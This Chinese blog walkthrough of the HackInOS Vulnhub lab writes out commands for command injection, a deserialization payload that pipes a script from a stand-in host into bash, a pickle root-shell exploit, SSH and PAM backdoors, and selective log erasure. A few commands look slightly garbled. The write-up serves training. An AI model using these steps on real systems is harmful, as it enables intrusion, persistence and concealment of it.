ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

HackInOS靶机实战:渗透测试与防御解析

HackInOS靶机实战:渗透测试与防御解析 1. 项目概述HackInOS靶机实战解析第一次接触HackInOS靶机是在一个周末的深夜当时我正在寻找一款能模拟真实企业内网环境的训练平台。这个基于Ubuntu系统设计的Vulnhub靶机立刻吸引了我的注意——它刻意隐藏了多个入口点需要渗透者像真实攻击者那样进行完整的攻击链构建。与常规靶机不同HackInOS的特别之处在于它模拟了开发运维混合环境既有遗留的PHP应用也包含现代化的API接口这种技术栈混杂的场景正是当前企业安全中最常见的痛点。2. 环境准备与初始侦察2.1 靶机部署要点官方提供的OVA文件导入VirtualBox时需要注意两个关键配置网络适配器必须设置为Host-only模式避免影响物理网络同时建议将虚拟机的内存调整至2GB以上某些服务需要较大内存才能正常启动。我在首次启动时遇到ssh服务未自动加载的问题后来发现需要以root权限手动执行/etc/init.d/ssh start。2.2 网络发现技巧使用经典的netdiscover工具进行同网段扫描时建议添加-r 192.168.56.0/24参数假设使用VirtualBox的默认Host-only网段。更高效的方式是通过ARP扫描arp-scan -l --interfaceeth0这个命令能绕过某些防火墙规则在我的测试中成功率比nmap更高。记下靶机IP后例如192.168.56.102立即建立扫描基线nmap -sS -A -T4 -p- 192.168.56.102 -oN initial_scan.nmap2.3 服务枚举实战扫描结果显示开放了三个关键端口22/tcp ssh (但版本信息被故意隐藏)80/tcp http (Apache 2.4.29)1234/tcp 自定义服务使用nc连接1234端口会发现一个有趣的ASCII艺术横幅这通常是CTF比赛的常见手法。此时应该立即保存所有原始输出nc -nv 192.168.56.102 1234 port1234_banner.txt3. Web应用渗透测试3.1 目录爆破艺术使用dirbuster等工具前建议先手工检查robots.txt和常见路径。在HackInOS中/console路径会暴露一个Python调试接口但需要PIN码。更关键的发现是/.git目录可访问——这绝对是重大失误通过以下命令可完整下载Git仓库wget -r http://192.168.56.102/.git/分析Git日志显示开发人员曾提交过数据库凭证git log -p | grep password3.2 源码审计陷阱网站主要使用PHP编写但包含几个可疑的Python CGI脚本。特别要注意/cgi-bin/status.py文件它使用os.popen()处理用户输入存在明显的命令注入漏洞。测试时发现过滤了空格和某些特殊字符但可以用${IFS}绕过curl http://192.168.56.102/cgi-bin/status.py?ip127.0.0.1;id3.3 反序列化漏洞利用在/api/v1路径下发现Java序列化数据使用ysoserial生成payload时要注意目标运行的可能是较旧的Jackson版本。我的有效载荷生成命令java -jar ysoserial.jar CommonsCollections5 curl http://your-ip/shell.sh | bash payload.ser4. 权限提升攻坚战4.1 横向移动技巧通过Web漏洞获取www-data权限后在/opt/backups目录发现加密的数据库备份。使用John破解时发现它实际是OpenSSL加密文件正确的解密命令是openssl enc -d -aes-256-cbc -salt -in backup.sql.enc -out backup.sql -k 密码提示4.2 sudo提权分析运行sudo -l显示用户可以以developer身份执行特定Python脚本。仔细检查发现脚本调用了pickle.load()函数这又是个反序列化漏洞。构造payload时需要确保Python版本匹配我的利用代码import pickle import os class Exploit(object): def __reduce__(self): return (os.system, (/bin/bash -p,)) payload pickle.dumps(Exploit()) with open(/tmp/exploit, wb) as f: f.write(payload)4.3 内核提权备选方案如果上述方法失效检查内核版本显示是4.15.0-20-generic。测试发现脏牛(Dirty Cow)漏洞仍然有效但更稳定的是使用overlayfs漏洞gcc -o exploit exploit.c ./exploit5. 后渗透与痕迹清理5.1 敏感数据收集在/var/mail目录发现开发人员的邮件包含内部系统架构图。更关键的是在.bash_history中找到root用户曾连接过外部数据库mysql -h 10.0.2.100 -u admin -pPssw0rd123!5.2 持久化技术推荐使用两种隐蔽的后门SSH公钥注入到/root/.ssh/authorized_keys修改PAM模块添加万能密码echo auth sufficient pam_permit.so /etc/pam.d/sshd5.3 日志清理指南不要简单删除日志文件这会引起怀疑。应该使用sed选择性删除记录sed -i /你的IP地址/d /var/log/auth.log6. 防御视角的反思从蓝队角度看HackInOS暴露了多个典型问题开发环境配置泄漏.git目录混合语言编程时的安全边界模糊过度信任内部网络导致认证缺失建议的加固措施包括使用git-secrets扫描敏感信息对CGI脚本实施严格的输入过滤为sudo权限设置更细粒度的控制这个靶机最值得称道的是它模拟了真实环境中常见的安全债——新旧技术栈并存时的安全控制不一致问题。我在三次完整渗透过程中每次都能发现新的攻击路径这充分说明了现代系统防御的复杂性。
返回列表